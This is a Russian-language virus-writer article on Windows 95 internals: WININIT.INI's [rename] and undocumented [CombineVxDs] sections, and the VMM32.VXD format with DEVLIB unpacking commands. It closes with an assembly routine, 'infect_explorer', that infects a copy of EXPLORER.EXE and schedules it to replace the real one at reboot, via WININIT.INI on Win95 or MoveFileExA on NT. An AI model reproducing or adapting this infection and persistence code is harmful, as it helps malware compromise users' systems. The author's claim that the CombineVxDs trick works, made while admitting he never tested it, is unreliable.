Перед загрузкой маздая WININIT.EXE обрабатывает WININIT.INI: из секции [rename] считываются соответствующие имена и происходит так называемое "обновление" файлов.
WININIT.INI: [rename] C:\WINDOWS\OLDFILE.EXE=C:\WINDOWS\NEWFILE.EXE
Требуется подобная фича тогда, когда подлежащий обновлению OLDFILE.EXE является, например, открытым или исполняемым в настоящий момент. (типа EXPLORER.EXE или KERNEL32.DLL)
Но мало кто знает, что кроме [rename] есть еще более убойная вещь,
называемая [CombineVxDs]. Найдено оно было случайно при инсталляции win95,
и, хотя тестировать такое мне попросту лениво, но это стопроцентно
как-то работает.
Итак, вот что я нашел:
WININIT.INI: [CombineVxDs] C:\WINDOWS\SYSTEM\VMM32\vkd.vxd=C:\WINDOWS\SYSTEM\vmm32.vxd
И действительно, взглянув в WININIT.EXE, я увидел не только rename и CombineVxDs, но и какое-то SetupOptions.
Короче говоря, флаг вам в руки...
1. Обычный VMM32.VXD представляет из себя следующее:
VMM32.VXD: [dos-loader] ~64k формат W4: [таблица указателей на VxD-файлы] ~1k [запакованные VxD-файлы]
2. Распакованный VMM32.VXD представляет из себя вот что:
VMM32.VXD: [dos-loader] те же самые 64k формат W3: [таблица указателей на VxD-файлы] ~2k [распакованные VxD-файлы] (без MZ-хеадеров)
3. Работа с VMM32.VXD осуществляется утилитой DEVLIB.EXE из DDK\BIN.
devlib -u vmm32.vxd -- распаковываем devlib -d vmm32.vxd -- получаем список VxDей (дамп таблицы указателей) devlib -d vmm32.vxd dosmgr -- выдираем dosmgr.vxd (будет без MZ-хеадера)
4. Пример добавления секции [rename] в WININIT.INI:
wininit_ini db 'C:\WINDOWS\WININIT.INI',0
wininit_section db 'rename',0
file_exe db 'C:\WINDOWS\EXPLORER.EXE',0
file_tmp db 'C:\WINDOWS\EXPLORER.TMP',0
infect_explorer: push 0
push file_tmp
push file_exe
callW CopyFileA
lea edx, file_tmp
call INFECT_FILE
callW GetVersion
shl eax, 1
jnc __winNT
__win95: push offset wininit_ini
push offset file_tmp
push offset file_exe
push offset wininit_section
callW WritePrivateProfileStringA
jmp __exit
__winNT: push 4 ; DELAY_UNTIL_REBOOT
push 0
push offset file_exe
callW MoveFileExA
push 4 ; DELAY_UNTIL_REBOOT
push offset file_exe
push offset file_tmp
call MoveFileExA
__exit: ret ; infect_explorer
* * *